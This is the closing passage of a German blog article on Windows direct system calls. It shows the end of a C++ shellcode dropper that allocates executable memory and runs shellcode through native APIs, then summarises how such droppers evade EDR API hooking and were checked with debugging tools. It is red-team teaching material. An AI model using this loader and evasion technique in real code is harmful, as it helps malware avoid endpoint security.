    LPVOID allocation_start = nullptr;
    SIZE_T allocation_size = codeSize;
    HANDLE hThread = nullptr;

    // Allocate Virtual Memory
    NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, &allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Copy shellcode into allocated memory
    NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, codeData, codeSize, NULL);

    // Execute shellcode in memory
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocation_start, NULL, FALSE, NULL, NULL, NULL, NULL);

    // Wait for the end of the thread and close the handle
    NtWaitForSingleObject(hThread, FALSE, NULL);
    NtClose(hThread);

    return 0;
}

Zusammenfassung

Im folgenden Artikel wurde erklärt, was ein System Call grundsätzlich ist, wie er funktioniert und wozu er unter Windows OS verwendet wird. Außerdem wurde erklärt, dass Direct System Calls eine Technik für Angreifer sind, um den von EDRs verwendeten API-Hooking-Mechanismus zu umgehen. Anschließend wurde mit der Entwicklung eines Direct System Call Droppers begonnen. Als Basis wurde ein High Level API Dropper erstellt, der die Windows API VirtualAlloc verwendet. Anschließend wurden für die Weiterentwicklung zum Medium Level API Dropper die Windows APIs durch Native APIs ersetzt. Und im letzten Schritt wurde der eigentliche Syscalls Dropper erstellt, indem alle Native APIs durch Direct System Calls ersetzt wurden bzw. die Native APIs und die Assembly Anweisungen für die Direct System Calls direkt im Dropper selbst implementiert wurden.

Des Weiteren wurde der jeweilige Dropper mit verschiedenen Tools auf Plausibilität geprüft. So konnte z.B. beim High Level API Dropper der Übergang von der verwendeten Windows API VirtualAlloc zur Native API NtAllocateVirtualMemory gut beobachtet werden. Ebenso konnte mit API-Monitor beobachtet werden, dass beim Medium Level API Dropper korrekterweise keine Native APIs verwendet wurden. Ähnliches kann mit dem Visual Studio Tool dumpbin gemacht werden, indem überprüft wird, welche Windows APIs von der Kernel32.dll in die Import Adress Table der jeweiligen .exe geladen werden. Beim High Level Dropper wurde z.B. die Windows API VirutalAlloc korrekt importiert, beim Medium und Low Level Dropper korrekterweise nicht.

Die Analyse der Dropper mit x64dbg war ebenfalls sehr aufschlussreich. So konnte beispielsweise festgestellt werden, dass die System Calls für die verwendeten Native APIs beim High und Medium Level Dropper korrekt aus der .text Sektion der Ntdll.dll geladen bzw. ausgeführt wurden. Im Vergleich dazu wurden beim Direct System Call Dropper (Low Level APIs) die benötigten System Calls der verwendeten Native APIs korrekt aus der .text Sektion des Droppers selbst geladen.

Ich persönlich finde das Thema Windows Internals, Shellcode, Malware, EDRs etc. nach wie vor extrem spannend, meine Leidenschaft für diese Themen ist nach wie vor ungebrochen und ich freue mich schon darauf, mich mit dem nächsten Thema näher zu beschäftigen. 

Alle Code Samples in diesem Artikel sind auch auf meinem Github Account zu finden. 

Happy Hacking!

Daniel Feichter @VirtualAllocEx

Zuletzt aktualisiert 12.01.24 17:37:50 12.01.24
Daniel Feichter